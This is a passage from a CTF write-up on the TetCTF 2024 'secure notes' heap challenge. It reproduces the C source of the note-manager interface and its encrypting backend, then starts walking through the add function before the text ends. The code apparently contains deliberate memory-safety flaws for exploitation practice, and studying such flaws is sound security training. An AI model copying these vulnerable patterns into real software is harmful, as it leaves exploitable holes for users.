# TetCTF 2024 Recently I have played this Vietnamese CTF contests, which is highly accredited by the community of hackers. In my opinion, those challenges are at a medium-hard level, which aroused my curiosity a lot. Regardless of solving no challenges in time, I still made writeups of some pwn challenges which was a reminder for future contests. ![image](https://hackmd.io/_uploads/Bk79KkF9p.png) ## Pwn03-flag1 [Attachment](https://github.com/Jalynk2004/CTFWriteups/raw/main/2024/TetCTF/secure_notes.7z) Both `flag1` and `flag2` used the same provided attachments. **Interface** ```c /* * Secure Note Manager * Author: peternguyen93 */ #include "ipc.h" #include "dbg.h" #include "protocol.h" #include "utlist.h" #include <openssl/sha.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/capability.h> #include <sys/types.h> struct IPC ipc; #define MAX_CONTENT_LEN 0x1000 #define MAX_NOTE 0x100 Note_t notes; uint32_t notes_size; int Note_cmp(Note_t note1, Note_t note2) { int res = strncmp(note1->note_title, note2->note_title, sizeof(note1->note_title) - 1) == 0 && \ strncmp(note2->note_author, note1->note_author, sizeof(note1->note_author) - 1) == 0; return !res; } Note_t Note_init( char *title, char *author, uint32_t content_len, uint32_t encrypt) { Note_t new_note = (Note_t)malloc(sizeof(struct Note)); bzero(new_note, sizeof(struct Note)); strncpy(new_note->note_title, title, sizeof(new_note->note_title) - 1); strncpy(new_note->note_author, author, sizeof(new_note->note_author) - 1); new_note->note_content_len = content_len; new_note->note_is_encrypt = encrypt; return new_note; } void Note_destroy(Note_t note) { assert_fail_f(note, "note could not be null\n"); if(note->note_content){ free(note->note_content); note->note_content = NULL; } bzero((void *)note, sizeof(struct Note)); free(note); } void read_line(char *buf, size_t max_size) { uint32_t i = 0; while(i < max_size){ char c = fgetc(stdin); if(c == '\n'){ buf[i] = '\0'; break; } buf[i++] = c; } } int read_int() { char buf[32] = {0}; read_line(buf, sizeof(buf)); return atoi(buf); } void add_new_note() { char title[32]; char author[32]; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; int is_encrypt; uint32_t content_len; if(notes_size > MAX_NOTE){ printf("Unable to add new note\n"); return; } printf("Title: "); read_line(title, sizeof(title) - 1); printf("Author: "); read_line(author, sizeof(author) - 1); do{ printf("Wanna encrypt this notes? (y/n) "); read_line(buf, sizeof(buf)); }while(buf[0] != 'y' && buf[0] != 'n'); is_encrypt = buf[0] == 'y' ? 1 : 0; Note_t new_note = Note_init(title, author, 0, is_encrypt); if(is_encrypt){ printf("What is your passwd? "); bzero(buf, sizeof(buf)); read_line(buf, sizeof(buf) - 1); SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); } printf("How many bytes for content? "); content_len = read_int(); if(content_len > MAX_CONTENT_LEN){ content_len = MAX_CONTENT_LEN; } printf("Content: \n"); new_note->note_content = malloc(content_len); new_note->note_content_len = content_len; fgets(new_note->note_content, content_len, stdin); if(is_encrypt){ // sync this note to backend size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len; msg_hdr_t send_msg = malloc(send_size); send_msg->action = COMMIT; send_msg->msg_size = send_size - sizeof(struct msg_hdr); NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon)); serialize_p->note_content_len = sizeof(passwd_hash) + content_len; memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len); send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); uint64_t status = 0; int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); if(IS_ERR(rc) || status != OK){ printf("Unable to sync this note to server :(, destroying this note\n"); Note_destroy(new_note); return; } free(new_note->note_content); new_note->note_content = NULL; new_note->note_synced = 1; } DL_APPEND(notes, new_note); notes_size++; puts("Added"); } void delete_note(void) { struct Note s_note; Note_t tmp; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; bzero(&s_note, sizeof(struct Note)); printf("Title: "); read_line(s_note.note_title, sizeof(s_note.note_title) - 1); printf("Author: "); read_line(s_note.note_author, sizeof(s_note.note_author) - 1); DL_SEARCH(notes, tmp, &s_note, Note_cmp); if(!tmp){ printf("Unable to find your note\n"); return; } size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize); msg_hdr_t send_msg; // sync with server if(tmp->note_is_encrypt || tmp->note_synced){ if(tmp->note_is_encrypt){ send_size += SHA256_DIGEST_LENGTH; printf("Your password? "); bzero(buf, sizeof(buf)); read_line(buf, sizeof(buf) - 1); // sha256 SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); } send_msg = malloc(send_size); send_msg->action = DELETE; send_msg->msg_size = send_size - sizeof(struct msg_hdr); NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); serialize_p->note_content_len = 0; if(tmp->note_is_encrypt){ serialize_p->note_content_len = sizeof(passwd_hash); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); } send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); uint64_t status = 0; int rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60); if(IS_ERR(rc) || (Status)status != OK){ printf("Unable to delete note\n"); return; } } DL_DELETE(notes, tmp); notes_size--; printf("Deleted\n"); } void list_note() { Note_t tnote; DL_FOREACH(notes, tnote){ printf("Title: %s\n", tnote->note_title); printf("Author: %s\n", tnote->note_author); if(tnote->note_is_encrypt){ printf("Content: (Encrypted)\n"); } else { printf("Content: %s\n", tnote->note_content); } } } void edit_note() { struct Note s_note; Note_t tmp; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; msg_hdr_t send_msg; size_t send_size = 0; NoteSerialize_t serialize_p; uint64_t status; int rc; bzero(&s_note, sizeof(struct Note)); printf("Title: "); read_line(s_note.note_title, sizeof(s_note.note_title) - 1); printf("Author: "); read_line(s_note.note_author, sizeof(s_note.note_author) - 1); DL_SEARCH(notes, tmp, &s_note, Note_cmp); if(!tmp){ printf("Unable to find your note\n"); return; } if(tmp->note_is_encrypt){ printf("Password ?"); read_line(buf, sizeof(buf) - 1); // sha256 SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); // sync with server send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash); send_msg = malloc(send_size); send_msg->action = AUTH; send_msg->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); serialize_p->note_content_len = sizeof(passwd_hash); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60); if(IS_ERR(rc) || status != OK){ printf("Authenticate was failed\n"); return; } printf("Access granted\n"); } printf("New content len?"); uint32_t content_len = read_int(); content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN; printf("New content:\n"); if(tmp->note_is_encrypt){ tmp->note_content = malloc(content_len); tmp->note_content_len = content_len; fgets(tmp->note_content, content_len, stdin); // sync with server send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len; send_msg = malloc(send_size); send_msg->action = COMMIT; send_msg->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); serialize_p->note_content_len += sizeof(passwd_hash); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len); free(tmp->note_content); tmp->note_content = NULL; send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); if(IS_ERR(rc) || status != OK){ printf("Unable to update your content\n"); return; } tmp->note_synced = 1; } else { if(tmp->note_content){ free(tmp->note_content); } tmp->note_content = malloc(content_len); tmp->note_content_len = content_len; fgets(tmp->note_content, content_len, stdin); tmp->note_synced = 0; } } void read_note() { struct Note s_note; Note_t tmp; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; msg_hdr_t send_msg; msg_hdr_t recv_msg; size_t recv_size = 0; size_t send_size = 0; NoteSerialize_t serialize_p; Status status; int rc; bzero(&s_note, sizeof(struct Note)); printf("Title: "); read_line(s_note.note_title, sizeof(s_note.note_title) - 1); printf("Author: "); read_line(s_note.note_author, sizeof(s_note.note_author) - 1); DL_SEARCH(notes, tmp, &s_note, Note_cmp); if(!tmp){ printf("Unable to find your note\n"); return; } if(tmp->note_is_encrypt){ printf("Password? "); read_line(buf, sizeof(buf) - 1); // sha1 here SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); // read from backend send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH; send_msg = malloc(send_size); send_msg->action = FETCH; send_msg->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60); if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){ printf("Unable to read content\n"); return; } serialize_p = (NoteSerialize_t)recv_msg->msg_content; printf("Content: %s\n", serialize_p->content); } else { printf("Content: %s\n", tmp->note_content); } } int note_sync(int flag) { msg_hdr_t msg_hdr = NULL; uint32_t send_size, recv_size; struct msg_hdr inline_msg_hdr; Note_t cur_note, next_note, next_note2; NoteSerialize_t serialize_p; uint64_t status; uint32_t read_count = 0; int rc; if(flag == 1){ send_size = sizeof(struct msg_hdr); next_note = notes; next_note2 = notes; // commit un-synced note to backend DL_FOREACH(next_note, cur_note){ if(cur_note->note_synced) continue; send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len; if(send_size > SHM_MEM_MAX_SIZE){ next_note = cur_note; break; } } if(send_size == sizeof(struct msg_hdr)){ printf("All notes was synced\n"); return 0; } msg_hdr = malloc(send_size); msg_hdr->action = COMMIT; msg_hdr->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)msg_hdr->msg_content; DL_FOREACH(next_note2, cur_note) { if(cur_note->note_synced) continue; memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon)); memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len); serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len); cur_note->note_synced = 1; } send_data(&ipc, RECEIVER, msg_hdr, send_size); free(msg_hdr); rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); if(IS_ERR(rc) || status != OK){ printf("Unable to commit data to backend\n"); return 1; } } else { // fetch from backend inline_msg_hdr.action = FETCH; inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr)); int truncated = 0; do{ truncated = 0; rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60); if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){ if((Status)recv_size == OK){ return 0; } else { printf("Unable to fetch data from backend\n"); return 1; } } if(msg_hdr->action == TRUNCATED) truncated = 1; Note_t search_note; // parse from backend while(read_count < msg_hdr->msg_size){ serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count); Note_t new_note = Note_init(serialize_p->note_title, serialize_p->note_author, serialize_p->note_content_len, serialize_p->note_is_encrypt); read_count += sizeof(struct NoteSerialize); Note_t p_note; DL_SEARCH(notes, search_note, new_note, Note_cmp); p_note = search_note; if(!search_note){ p_note = new_note; } // update new content if(!p_note->note_is_encrypt){ memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len); read_count += new_note->note_content_len; } if(p_note->note_is_encrypt) { p_note->note_synced = 1; if(p_note->note_content){ free(p_note->note_content); p_note->note_content = NULL; } } if(!search_note){ DL_APPEND(notes, new_note); } else { Note_destroy(new_note); } } if(truncated){ // signal backend send next data send_data(&ipc, RECEIVER, NULL, OK); } } while(truncated); } return 0; } int note_main() { int rc; uint64_t status = Empty; char buf[64]; DBG("Waiting for backend is up....\n"); rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); // wait for 1 min if(!IS_OK(rc)){ ERROR("Unable to receive signal from backend process\n"); return -1; } if(status != OK){ ERROR("receive error status from backend\n"); return -1; } // tell backend we are ok to work now status = OK; rc = send_data(&ipc, RECEIVER, NULL, OK); int op; int exit = 0; //sleep(1); while(!exit){ printf("==== Secure Note Manager ====\n"); printf("1. Add New Note\n"); printf("2. List Note\n"); printf("3. Read Note\n"); printf("4. Edit Note\n"); printf("5. Delete Note\n"); printf("6. Sync Notes\n"); printf("7. Exit\n"); printf("Choice: "); op = read_int(); switch(op){ case 1: add_new_note(); break; case 2: list_note(); break; case 3: read_note(); break; case 4: edit_note(); break; case 5: delete_note(); break; case 6: do{ printf("You you want to [s]ync or [c]ommit note? (s/c)"); bzero(buf, sizeof(buf)); read_line(buf, sizeof(buf) - 1); }while(buf[0] != 's' && buf[0] != 'c'); if(buf[0] == 'c'){ note_sync(1); }else { note_sync(0); } break; case 7: note_sync(1); exit=1; break; default: printf("Invalid input\n"); break; } } send_data(&ipc, RECEIVER, NULL, Exit); return 0; } int main(int argc, char **argv) { pid_t pid; char ev_fds_str[64] = {0}; if(argc < 2){ ERROR("Missing backend binary path\n"); return 1; } IPC_create(&ipc, 1, 0, 1); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); serialize_ev_fd(&ipc, ev_fds_str, sizeof(ev_fds_str)); const char *child_argv[32] = { argv[1], ev_fds_str, NULL }; pid = fork(); if(pid == 0){ // child Process if(setgid(1001) == -1){ DBG("Unable to drop privilege setgid\n"); } cap_t proc = cap_get_proc(); cap_clear(proc); if(cap_set_proc(proc)){ DBG("cap_set_proc was failed\n"); } execv(argv[1], child_argv); } else if(pid > 0){ // parent process note_main(); int waitStatus; waitpid(pid, &waitStatus, 0); } else { perror("fork"); } return 0; } ``` **Backend** ```c /* * This process store secret data submited from user * Author: peternguyen */ #include "ipc.h" #include "dbg.h" #include "protocol.h" #include "utlist.h" #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <openssl/sha.h> #include <openssl/evp.h> struct IPC ipc; #define MAX_CONTENT_LEN 0x1000 #define MAX_NOTE 0x100 NoteBackend_t notes; uint32_t notes_size = 0; unsigned char IV[] = "\x0A\x91\x72\x71\x6A\xE6\x42\x84\x09\x88\x5B\x8B\x82\x9C\xCB\x05"; typedef enum CryptMode { Encrypt = 1, Decrypt = 0 } CryptMode; static inline size_t roundup(size_t value, size_t base) { if(value % base == 0) return value; return (value / base) * base + base; } int Note_Crypt(const char *key, const char *inbuf, const size_t inbuf_size, char **out_buf, size_t *out_size, CryptMode mode) { EVP_CIPHER *cipher = EVP_aes_256_cbc();//_CTX ctx; EVP_CIPHER_CTX *ctx; size_t block_size, out_buf_size = 0; int outlen = 0; *out_size = 0; //assert_fail_f(*out_buf, "NULL out_buf pointer\n"); if(!(ctx = EVP_CIPHER_CTX_new())){ return 0; } if(!EVP_CipherInit_ex(ctx, cipher, NULL, (const unsigned char *)key, (const unsigned char *)IV, mode)){ return 0; } block_size = EVP_CIPHER_CTX_get_block_size(ctx); out_buf_size = roundup(inbuf_size, block_size); *out_buf = malloc(out_buf_size); if(!EVP_CipherUpdate(ctx, (unsigned char *)*out_buf, &outlen, (unsigned char*)inbuf, inbuf_size)){ free(*out_buf); *out_buf = NULL; return 0; } if(!EVP_CipherFinal(ctx, (unsigned char *)((*out_buf) + outlen), &outlen)){ free(*out_buf); *out_buf = NULL; return 0; } *out_size = out_buf_size; EVP_CIPHER_CTX_free(ctx); return 1; } int NoteBackend_cmp(NoteBackend_t note1, NoteBackend_t note2) { int res = strncmp(note1->note_title, note2->note_title, sizeof(note1->note_title) - 1) == 0 && \ strncmp(note2->note_author, note1->note_author, sizeof(note1->note_author) - 1) == 0; return !res; } NoteBackend_t NoteBackend_init( char *title, char *author, uint32_t content_len, uint32_t encrypt) { NoteBackend_t new_note = (NoteBackend_t)malloc(sizeof(struct NoteBackend)); bzero(new_note, sizeof(struct NoteBackend)); strncpy(new_note->note_title, title, sizeof(new_note->note_title) - 1); strncpy(new_note->note_author, author, sizeof(new_note->note_author) - 1); new_note->note_content_len = content_len; new_note->note_is_encrypt = encrypt; return new_note; } void NoteBackend_destroy(NoteBackend_t note) { assert_fail_f(note, "note could not be null\n"); if(note->note_content){ free(note->note_content); note->note_content = NULL; } bzero((void *)note, sizeof(struct NoteBackend)); free(note); } void backend_listener() { uint64_t status = 0; uint64_t msg_size = 0; msg_hdr_t msg; int rc; uint32_t action; status = OK; rc = send_data(&ipc, SENDER, NULL, status); if(IS_ERR(rc)){ perror("send_data error"); return; } DBG("Waiting for interface send signal...\n"); status = 0; rc = recv_data_timeout(&ipc, RECEIVER, NULL, (uint64_t *)&status, 60); if(IS_ERR(rc)){ perror("recv_data_timeout"); return; } assert_fail_f((Status)status == OK, "[backend] Receive error from SENDER %d\n", (Status)status); DBG("[backend] interface process is up, let waiting for request\n"); while(1){ // handle request from interface msg_size = 0; rc = recv_data_timeout(&ipc, RECEIVER, (void **)&msg, &msg_size, 60 * 4); DBG("[Backend] rc: %d\n", rc); if(IS_ERR(rc) || IS_TIMEOUT(rc)){ continue; } if(msg_size == Exit){ DBG("[Backend] receive signal exit\n"); break; } DBG("[Backend] Receive %d data from RECEIVER\n", msg_size); if(msg_size < sizeof(struct msg_hdr)){ DBG("[Backend] msg_size is too small\n"); continue; } action = msg->action; uint32_t msg_size = msg->msg_size; uint32_t parsed_count = 0; NoteBackend_t tmp1, etmp; struct NoteBackend inline_tmp; int parsed_error = OK; NoteSerialize_t serialize_note = NULL; msg_hdr_t reply_msg = NULL; uint32_t reply_size = 0; uint32_t written_count = 0; char *encrypt_buf = NULL; size_t encrypt_size = 0; switch(action){ case COMMIT: { if(msg_size < sizeof(struct NoteSerialize)){ DBG("[backend] msg content size is too small\n"); send_data(&ipc, SENDER, NULL, Error); break; } parsed_count = 0; while(parsed_count + sizeof(struct NoteSerialize) < msg_size){ serialize_note = (NoteSerialize_t)((size_t)msg->msg_content + parsed_count); if(serialize_note->note_content_len + parsed_count + sizeof(struct NoteSerialize) > msg_size){ DBG("[backend] serialize_note->note_content_len is too big: %d\n", serialize_note->note_content_len); parsed_error = Error; break; } if(serialize_note->note_is_encrypt && serialize_note->note_content_len < SHA256_DIGEST_LENGTH){ DBG("[backend] encrypted note note_content_len is too small\n"); parsed_error = Error; break; } NoteBackend_t new_note = NoteBackend_init(serialize_note->note_title, serialize_note->note_author, serialize_note->note_content_len, serialize_note->note_is_encrypt); uint32_t content_len = serialize_note->note_content_len; if(serialize_note->note_is_encrypt){ content_len = serialize_note->note_content_len - SHA256_DIGEST_LENGTH; } DL_SEARCH(notes, tmp1, new_note, NoteBackend_cmp); parsed_error = OK; if(tmp1){ // update content only; DBG("[backend] COMMIT: update content for %s - %s\n", tmp1->note_title, tmp1->note_author); if(tmp1->note_is_encrypt && memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0){ // access granted DBG("[backend] COMMIT: access granted for encrypted note - update new content\n"); Note_Crypt((const char *)tmp1->passwd, (const char *)&(serialize_note->content[SHA256_DIGEST_LENGTH]), (const size_t)content_len, &encrypt_buf, &encrypt_size, Encrypt); if(tmp1->note_content){ free(tmp1->note_content); } tmp1->note_content = encrypt_buf; tmp1->note_content_len = encrypt_size; } else if(!tmp1->note_is_encrypt){ DBG("[backend] COMMIT: update new content_len: %d\n", content_len); if(tmp1->note_content){ free(tmp1->note_content); } tmp1->note_content = malloc(content_len); tmp1->note_content_len = content_len; memcpy(tmp1->note_content, serialize_note->content, serialize_note->note_content_len); } NoteBackend_destroy(new_note); } else { if(notes_size + 1 > MAX_NOTE){ send_data(&ipc, SENDER, NULL, Error); break; } if(new_note->note_is_encrypt){ memcpy(new_note->passwd, serialize_note->content, SHA256_DIGEST_LENGTH); } if(new_note->note_is_encrypt){ // aes encrypt content Note_Crypt((const char *)new_note->passwd, (const char *)serialize_note->content + SHA256_DIGEST_LENGTH, (const size_t)content_len, &(new_note->note_content), (size_t *)&(new_note->note_content_len), Encrypt); } else { new_note->note_content = malloc(content_len); memcpy(new_note->note_content, serialize_note->content, content_len); } DBG("[backend] Addded new_note %s(%s) - encrypt: %d\n", new_note->note_title, new_note->note_author, new_note->note_is_encrypt); DL_APPEND(notes, new_note); notes_size++; } parsed_count += sizeof(struct NoteSerialize) + serialize_note->note_content_len; } DBG("parsed_error: 0x%x\n", parsed_error); send_data(&ipc, SENDER, NULL, parsed_error); break; } case DELETE: { parsed_error = Error; if(msg_size >= sizeof(struct NoteSerialize)){ tmp1 = NULL; serialize_note = (NoteSerialize_t)msg->msg_content; uint32_t content_len = serialize_note->note_content_len; etmp = NoteBackend_init(serialize_note->note_title, serialize_note->note_author, serialize_note->note_content_len, serialize_note->note_is_encrypt); DL_SEARCH(notes, tmp1, etmp, NoteBackend_cmp); if(tmp1){ DBG("[backend] DELETE: found delete note: %s(%s) - encrypt: %d\n", tmp1->note_title, tmp1->note_author, tmp1->note_is_encrypt); // found note if((tmp1->note_is_encrypt && memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0) || !tmp1->note_is_encrypt){ // verify password before destroy goto delete_note; } else if(!tmp1->note_is_encrypt) { delete_note: parsed_error = OK; DL_DELETE(notes, tmp1); NoteBackend_destroy(tmp1); notes_size--; DBG("[backend] DELETE: successfully delete this note\n"); } } else { DBG("[backend] DELETE: unable to find note: %s(%s)\n", tmp1->note_title, tmp1->note_author); } NoteBackend_destroy(etmp); } else { DBG("[backend] DELETE: msg_content_len is too small %d - %d\n", msg_size, sizeof(struct NoteSerialize)); } send_data(&ipc, SENDER, NULL, parsed_error); break; } case AUTH: { parsed_error = Error; if(msg_size >= sizeof(struct NoteSerialize)){ tmp1 = NULL; serialize_note = (NoteSerialize_t)msg->msg_content; if(serialize_note->note_is_encrypt && serialize_note->note_content_len == SHA256_DIGEST_LENGTH) { etmp = NoteBackend_init(serialize_note->note_title, serialize_note->note_author, serialize_note->note_content_len, serialize_note->note_is_encrypt); DL_SEARCH(notes, tmp1, etmp, NoteBackend_cmp); NoteBackend_destroy(etmp); DBG("[backend] Authenticate with note: %s - %s\n", tmp1->note_title, tmp1->note_author); if(tmp1 && tmp1->note_is_encrypt && memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0){ parsed_error = OK; DBG("[backend] Access granted\n"); } } else { DBG("[backend] AUTH messge conent len is too small: %d\n", serialize_note->note_content_len); } } else { DBG("[backend] AUTH message content is too small: %d\n", msg_size); } send_data(&ipc, SENDER, NULL, parsed_error); break; } case FETCH: { if(msg_size != 0xFFFFFFFF){ DBG("[backend] Fetch encrypt note\n"); //fetch single encrypted note if(msg_size < sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH){ DBG("[backend] FETCH - msg content size is too small: %d\n", msg_size); send_data(&ipc, SENDER, NULL, Error); break; } serialize_note = (NoteSerialize_t)msg->msg_content; memcpy(&(inline_tmp.common), &(serialize_note->common), sizeof(struct NoteCommon)); DL_SEARCH(notes, tmp1, &inline_tmp, NoteBackend_cmp); if(!tmp1){ DBG("[backend] Unable to find note %s - %s\n", inline_tmp.note_title, inline_tmp.note_author); send_data(&ipc, SENDER, NULL, Error); break; } if(!tmp1->note_is_encrypt){ DBG("[backend] This note was not encrypted\n"); send_data(&ipc, SENDER, NULL, Error); break; } if(memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH)){ DBG("[backend] Password incorrect\n"); send_data(&ipc, SENDER, NULL, Error); break; } // aes decrypt here char *decrypt_buffer = NULL; size_t decrypt_len = 0; Note_Crypt((const char *)tmp1->passwd, (const char *)tmp1->note_content, (const size_t)tmp1->note_content_len, &decrypt_buffer, (size_t *)&decrypt_len, Decrypt); // everything is ok // send it back reply_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + decrypt_len; reply_msg = malloc(reply_size); reply_msg->msg_size = reply_size - sizeof(struct msg_hdr); serialize_note = (NoteSerialize_t)reply_msg->msg_content; memcpy(&(serialize_note->common), &(tmp1->common), sizeof(struct NoteCommon)); serialize_note->note_content_len = decrypt_len; memcpy(serialize_note->content, decrypt_buffer, decrypt_len); free(decrypt_buffer); send_data(&ipc, SENDER, reply_msg, reply_size); free(reply_msg); break; } DBG("[backend] FETCH all notes except encrypted notes\n"); NoteSerialize_t serialize_p = NULL; NoteBackend_t cur_note = notes; NoteBackend_t tmp_note2 = NULL; int truncated = 0; uint32_t tmp_size = 0; // fetch all do { truncated = 0; reply_size = sizeof(struct msg_hdr); DL_FOREACH_SAFE(cur_note, tmp1, etmp){ tmp_size = sizeof(struct NoteSerialize); if(!tmp1->note_is_encrypt){ tmp_size += tmp1->note_content_len; } if(reply_size + tmp_size > SHM_MEM_MAX_SIZE){ DBG("[backend] reply_size(%d) is larger than SHM_MEM_MAX_SIZE, enable truncated mode\n", reply_size + tmp_size); truncated = 1; tmp_note2 = tmp1; break; } reply_size += tmp_size; } if(reply_size == sizeof(struct msg_hdr)){ DBG("[backend] nodes is empty\n"); // notes is empty just return OK send_data(&ipc, SENDER, NULL, OK); break; } DBG("[backend] FETCH: msg truncated: %d\n", truncated); reply_msg = malloc(reply_size); reply_msg->action = truncated ? TRUNCATED : NONE; reply_msg->msg_size = reply_size - sizeof(struct msg_hdr); written_count = 0; DL_FOREACH_SAFE(cur_note, tmp1, etmp){ serialize_p = (NoteSerialize_t)((size_t)reply_msg->msg_content + written_count); memcpy(&(serialize_p->common), &(tmp1->common), sizeof(struct NoteCommon)); written_count+= sizeof(struct NoteSerialize); DBG("[backend] FETCH: serialize note %s(%s)\n", serialize_p->note_title, serialize_p->note_author); if(!tmp1->note_is_encrypt){ written_count += tmp1->note_content_len; memcpy(serialize_p->content, tmp1->note_content, tmp1->note_content_len); } } send_data(&ipc, SENDER, reply_msg, reply_size); free(reply_msg); if(truncated){ uint64_t status = 0; rc = recv_data_timeout(&ipc, RECEIVER, NULL, &status, 60); if(IS_ERR(rc) || (Status)status != OK){ DBG("[backend] Send truncated message error\n"); break; } if(tmp_note2){ cur_note = tmp_note2; } } }while(truncated); break; } default: DBG("[Backend] Unsupported action %d\n", action); break; } } } int main(int argc, char **argv) { if(argc < 2){ ERROR("Usage %s <EVFD_String>\n", argv[0]); return 1; } char *ipc_env = argv[1]; #ifdef DEBUG int uid = getuid(); int gid = getgid(); DBG("[backend] uid = %d - gid = %d\n", uid, gid); #endif if(!ipc_env){ printf("ipc_env is NULL\n"); return 1; } notes = NULL; //assert_fail_f(ipc_env != NULL, "Unable to get IPC_ENV environment variable"); IPC_create(&ipc, 0, EFD_NONBLOCK, 0); parse_ev_fds(&ipc, ipc_env); backend_listener(); return 0; } ``` To get `flag1`, exploit `interface` Basically, both are `heap notes` challenge, with familiar `add`, `list`, `read`, `edit`, `delete`, and a new option `sync`. **Add option** ```c void add_new_note() { char title[32]; char author[32]; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; int is_encrypt; uint32_t content_len; if(notes_size > MAX_NOTE){ printf("Unable to add new note\n"); return; } printf("Title: "); read_line(title, sizeof(title) - 1); printf("Author: "); read_line(author, sizeof(author) - 1); do{ printf("Wanna encrypt this notes? (y/n) "); read_line(buf, sizeof(buf)); }while(buf[0] != 'y' && buf[0] != 'n'); is_encrypt = buf[0] == 'y' ? 1 : 0; Note_t new_note = Note_init(title, author, 0, is_encrypt); if(is_encrypt){ printf("What is your passwd? "); bzero(buf, sizeof(buf)); read_line(buf, sizeof(buf) - 1); SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); } printf("How many bytes for content? "); content_len = read_int(); if(content_len > MAX_CONTENT_LEN){ content_len = MAX_CONTENT_LEN; } printf("Content: \n"); new_note->note_content = malloc(content_len); new_note->note_content_len = content_len; fgets(new_note->note_content, content_len, stdin); if(is_encrypt){ // sync this note to backend size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len; msg_hdr_t send_msg = malloc(send_size); send_msg->action = COMMIT; send_msg->msg_size = send_size - sizeof(struct msg_hdr); NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon)); serialize_p->note_content_len = sizeof(passwd_hash) + content_len; memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len); send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); uint64_t status = 0; int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); if(IS_ERR(rc) || status != OK){ printf("Unable to sync this note to server :(, destroying this note\n"); Note_destroy(new_note); return; } free(new_note->note_content); new_note->note_content = NULL; new_note->note_synced = 1; } DL_APPEND(notes, new_note); notes_size++; 